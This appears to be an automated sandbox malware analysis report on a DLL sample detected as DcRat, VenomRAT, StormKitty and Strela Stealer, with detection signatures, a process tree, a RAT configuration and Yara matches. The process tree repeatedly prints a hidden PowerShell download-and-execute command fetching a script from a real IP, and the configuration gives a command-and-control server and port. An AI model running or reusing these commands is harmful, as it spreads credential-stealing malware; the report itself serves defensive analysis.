Edit tour

Windows Analysis Report
iviewers.dll

Overview

General Information

Sample name:	iviewers.dll
Analysis ID:	1583432
MD5:	33ae2b9c3e710254fe2e2ce35ff8a7c8
SHA1:	109e32187254b27e04ef18bbe1b48fad42bca841
SHA256:	9c2838e120c7ed5b582bedc6177f14a52aa578adeea269d0f96fc71a95bd6e68
Tags:	147-45-44-131bookingdllSPAM-ITAuser-JAMESWT_MHT
Infos:

Detection

DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected BrowserPasswordDump

Yara detected DcRat

Yara detected Keylogger Generic

Yara detected Powershell download and execute

Yara detected StormKitty Stealer

Yara detected Strela Stealer

Yara detected VenomRAT

.NET source code contains very large strings

.NET source code references suspicious native API functions

AI detected suspicious sample

Compiles code for process injection (via .Net compiler)

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: PowerShell Download and Execution Cradles

Suspicious execution chain found

Suspicious powershell command line found

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Writes to foreign memory regions

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Compiles C# or VB.Net code

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Registers a DLL

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Unusual Parent Process For Cmd.EXE

Sigma detected: Usage Of Web Request Commands And Cmdlets

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

loaddll32.exe (PID: 3212 cmdline: loaddll32.exe "C:\Users\user\Desktop\iviewers.dll" MD5: 51E6071F9CBA48E79F10C84515AAE618)

conhost.exe (PID: 6876 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 3652 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\iviewers.dll",#1 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

rundll32.exe (PID: 2036 cmdline: rundll32.exe "C:\Users\user\Desktop\iviewers.dll",#1 MD5: 889B99C52A60DD49227C5E485A016679)

cmd.exe (PID: 964 cmdline: C:\Windows\system32\cmd.exe /c powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } | iex" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1492 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6500 cmdline: powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } | iex" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

csc.exe (PID: 7304 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5swi5u3s\5swi5u3s.cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D)

cvtres.exe (PID: 7332 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES67D9.tmp" "c:\Users\user\AppData\Local\Temp\5swi5u3s\CSCAF633C7494E44EEF91E489AA57193A1E.TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0)

RegAsm.exe (PID: 7444 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 7452 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

regsvr32.exe (PID: 2792 cmdline: regsvr32.exe /s C:\Users\user\Desktop\iviewers.dll MD5: 878E47C8656E53AE8A8A21E927C6F7E0)

cmd.exe (PID: 2788 cmdline: C:\Windows\system32\cmd.exe /c powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } | iex" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6864 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6508 cmdline: powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } | iex" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

csc.exe (PID: 7276 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\wt2ogsc5\wt2ogsc5.cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D)

cvtres.exe (PID: 7348 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES67DA.tmp" "c:\Users\user\AppData\Local\Temp\wt2ogsc5\CSCB74DB134981A43F6AC9523DAB4F3A2ED.TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0)

RegAsm.exe (PID: 7436 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

rundll32.exe (PID: 6456 cmdline: rundll32.exe C:\Users\user\Desktop\iviewers.dll,DllRegisterServer MD5: 889B99C52A60DD49227C5E485A016679)

cmd.exe (PID: 4888 cmdline: C:\Windows\system32\cmd.exe /c powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } | iex" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3384 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5512 cmdline: powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } | iex" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

csc.exe (PID: 7284 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\10esxhtc\10esxhtc.cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D)

cvtres.exe (PID: 7340 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES67D8.tmp" "c:\Users\user\AppData\Local\Temp\10esxhtc\CSC630D1DBBBF4439F8DFE57AEDCAADEA.TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0)

RegAsm.exe (PID: 7412 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cmd.exe (PID: 1096 cmdline: C:\Windows\system32\cmd.exe /c powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } | iex" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

powershell.exe (PID: 2616 cmdline: powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } | iex" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

csc.exe (PID: 7376 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\snrj5tfq\snrj5tfq.cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D)

cvtres.exe (PID: 7392 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES6AB6.tmp" "c:\Users\user\AppData\Local\Temp\snrj5tfq\CSC3E3C918B4DA048DEA31452744D593FA.TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0)

RegAsm.exe (PID: 7528 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://axmahr.github.io/posts/asyncrat-detection/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, 404KeyLogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-usering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Name	Description	Attribution	Blogpost URLs	Link
Cameleon, StormKitty	PWC describes this malware as a backdoor, capable of file management, upload and download of files, and execution of commands.	No Attribution	https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/threat-actor-of-in-tur-est.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.cameleon

Malware Configuration

Threatname: VenomRAT

{"Server": "157.20.182.177", "Port": "4449", "Version": "RAT + hVNC  6.0.5", "MutexName": "rbdebzqnfarpyomol", "Autorun": "false", "Group": "false"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x8a796f:$a1: havecamera 0x9869d9:$a1: havecamera 0x9ee3e5:$a1: havecamera 0xcc07dd:$a1: havecamera 0x9d69b3:$a2: timeout 3 > NUL 0xaa9bd3:$a2: timeout 3 > NUL 0xb1199b:$a2: timeout 3 > NUL 0xd13177:$a2: timeout 3 > NUL 0x9da246:$a3: START "" " 0x9da833:$a3: START "" " 0xadda8e:$a3: START "" " 0xae02b7:$a3: START "" " 0xb15301:$a3: START "" " 0xb1585c:$a3: START "" " 0xd169be:$a3: START "" " 0xd16f5f:$a3: START "" " 0x9da70e:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0xae0192:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0xb15737:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0xd16df4:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x9da7ab:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
dump.pcap	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x9de98f:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84} 0xb1b4f2:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84} 0xb38352:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84} 0xd1b1e5:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
dump.pcap	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xaa93b7:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0xd128c3:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0xa265a4:$s6: VirtualBox 0xaa5105:$s6: VirtualBox 0xb0cc79:$s6: VirtualBox 0xb1fa11:$s6: VirtualBox 0xb76bcb:$s6: VirtualBox 0xd0e40f:$s6: VirtualBox 0xd1f8c6:$s6: VirtualBox 0x9de2af:$s8: Win32_ComputerSystem 0xa264c4:$s8: Win32_ComputerSystem 0xb1f977:$s8: Win32_ComputerSystem 0xb37cb8:$s8: Win32_ComputerSystem 0xb76b31:$s8: Win32_ComputerSystem 0xd1ab4b:$s8: Win32_ComputerSystem 0xd1f82c:$s8: Win32_ComputerSystem 0x9db11f:$s9: Win32_Process Where ParentProcessID= 0xae0b57:$s9: Win32_Process Where ParentProcessID= 0xb16142:$s9: Win32_Process Where ParentProcessID= 0xd177ff:$s9: Win32_Process Where ParentProcessID= 0x9dacf6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0

Memory Dumps

Source	Rule	Description	Author	Strings
0000001A.00000002.4668820759.0000000003579000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DcRat_2	Yara detected DcRat	Joe Security
0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x241208:$a1: havecamera 0x28c032:$a2: timeout 3 > NUL 0x28f3b5:$a3: START "" " 0x28f8ca:$a3: START "" " 0x28f7a5:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x28f842:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x293606:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x28b8a2:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x287a16:$s6: VirtualBox 0x297595:$s6: VirtualBox 0x292fb2:$s8: Win32_ComputerSystem 0x2974fb:$s8: Win32_ComputerSystem 0x2900de:$s9: Win32_Process Where ParentProcessID= 0x28fcfb:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x28fd98:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x28fead:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x28ff95:$cnc4: POST / HTTP/1.1
0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x241468:$a1: havecamera 0x28c292:$a2: timeout 3 > NUL 0x28f615:$a3: START "" " 0x28fb2a:$a3: START "" " 0x28fa05:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x28faa2:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x293866:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x28bb02:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x287c76:$s6: VirtualBox 0x2977f5:$s6: VirtualBox 0x293212:$s8: Win32_ComputerSystem 0x29775b:$s8: Win32_ComputerSystem 0x29033e:$s9: Win32_Process Where ParentProcessID= 0x28ff5b:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x28fff8:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x29010d:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x2901f5:$cnc4: POST / HTTP/1.1
00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x241368:$a1: havecamera 0x28c192:$a2: timeout 3 > NUL 0x28f515:$a3: START "" " 0x28fa2a:$a3: START "" " 0x28f905:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x28f9a2:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x293766:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x28ba02:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x287b76:$s6: VirtualBox 0x2976f5:$s6: VirtualBox 0x293112:$s8: Win32_ComputerSystem 0x29765b:$s8: Win32_ComputerSystem 0x29023e:$s9: Win32_Process Where ParentProcessID= 0x28fe5b:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x28fef8:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x29000d:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x2900f5:$cnc4: POST / HTTP/1.1
0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x241828:$a1: havecamera 0x28c652:$a2: timeout 3 > NUL 0x28f9d5:$a3: START "" " 0x28feea:$a3: START "" " 0x28fdc5:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x28fe62:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x293c26:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x28bec2:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x288036:$s6: VirtualBox 0x297bb5:$s6: VirtualBox 0x2935d2:$s8: Win32_ComputerSystem 0x297b1b:$s8: Win32_ComputerSystem 0x2906fe:$s9: Win32_Process Where ParentProcessID= 0x29031b:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x2903b8:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x2904cd:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x2905b5:$cnc4: POST / HTTP/1.1
0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x2415a8:$a1: havecamera 0x28c3d2:$a2: timeout 3 > NUL 0x28f755:$a3: START "" " 0x28fc6a:$a3: START "" " 0x28fb45:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x28fbe2:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x2939a6:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
